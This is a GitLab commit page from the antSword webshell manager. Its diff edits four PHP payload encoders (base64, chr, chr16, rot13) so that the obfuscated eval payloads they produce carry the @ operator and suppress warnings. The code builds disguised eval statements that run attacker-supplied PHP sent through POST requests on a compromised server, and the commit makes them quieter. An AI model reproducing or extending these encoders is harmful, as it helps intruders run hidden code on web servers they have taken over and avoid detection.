Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
a68c74d1
Commit
a68c74d1
authored
Dec 03, 2018
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
php shell 默认编码器所使用的函数添加了 @ 防止出现 warning
parent
47a95e1d
Changes
4
Hide whitespace changes
Inline
Side-by-side
Showing
4 changed files
with
4 additions
and
4 deletions
+4
-4
base64.js
source/core/php/encoder/base64.js
+1
-1
chr.js
source/core/php/encoder/chr.js
+1
-1
chr16.js
source/core/php/encoder/chr16.js
+1
-1
rot13.js
source/core/php/encoder/rot13.js
+1
-1
No files found.
source/core/php/encoder/base64.js
View file @
a68c74d1
...
@@ -9,7 +9,7 @@ module.exports = (pwd, data) => {
...
@@ -9,7 +9,7 @@ module.exports = (pwd, data) => {
// 生成一个随机变量名
// 生成一个随机变量名
let
randomID
=
`_0x
${
Math
.
random
().
toString
(
16
).
substr
(
2
)}
`
;
let
randomID
=
`_0x
${
Math
.
random
().
toString
(
16
).
substr
(
2
)}
`
;
data
[
randomID
]
=
new
Buffer
(
data
[
'_'
]).
toString
(
'base64'
);
data
[
randomID
]
=
new
Buffer
(
data
[
'_'
]).
toString
(
'base64'
);
data
[
pwd
]
=
`
eval(
base64_decode($_POST[
${
randomID
}
]));`
;
data
[
pwd
]
=
`
@eval(@
base64_decode($_POST[
${
randomID
}
]));`
;
delete
data
[
'_'
];
delete
data
[
'_'
];
return
data
;
return
data
;
}
}
source/core/php/encoder/chr.js
View file @
a68c74d1
...
@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
...
@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
ret
.
push
(
php
[
i
].
charCodeAt
());
ret
.
push
(
php
[
i
].
charCodeAt
());
i
++
;
i
++
;
}
}
return
`eVAl(cHr(
${
ret
.
join
(
').ChR('
)}
));`
;
return
`
@
eVAl(cHr(
${
ret
.
join
(
').ChR('
)}
));`
;
}
}
// 编码并去除多余数据
// 编码并去除多余数据
...
...
source/core/php/encoder/chr16.js
View file @
a68c74d1
...
@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
...
@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
ret
.
push
(
php
[
i
].
charCodeAt
().
toString
(
16
));
ret
.
push
(
php
[
i
].
charCodeAt
().
toString
(
16
));
i
++
;
i
++
;
}
}
return
`eVAl(cHr(0x
${
ret
.
join
(
').ChR(0x'
)}
));`
;
return
`
@
eVAl(cHr(0x
${
ret
.
join
(
').ChR(0x'
)}
));`
;
}
}
// 编码并去除多余数据
// 编码并去除多余数据
...
...
source/core/php/encoder/rot13.js
View file @
a68c74d1
...
@@ -19,7 +19,7 @@ module.exports = (pwd, data) => {
...
@@ -19,7 +19,7 @@ module.exports = (pwd, data) => {
// 生成一个随机变量名
// 生成一个随机变量名
let
randomID
=
`_0x
${
Math
.
random
().
toString
(
16
).
substr
(
2
)}
`
;
let
randomID
=
`_0x
${
Math
.
random
().
toString
(
16
).
substr
(
2
)}
`
;
data
[
randomID
]
=
encode
(
data
[
'_'
]);
data
[
randomID
]
=
encode
(
data
[
'_'
]);
data
[
pwd
]
=
`
eval(
str_rot13($_POST[
${
randomID
}
]));`
;
data
[
pwd
]
=
`
@eval(@
str_rot13($_POST[
${
randomID
}
]));`
;
delete
data
[
'_'
];
delete
data
[
'_'
];
return
data
;
return
data
;
}
}
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment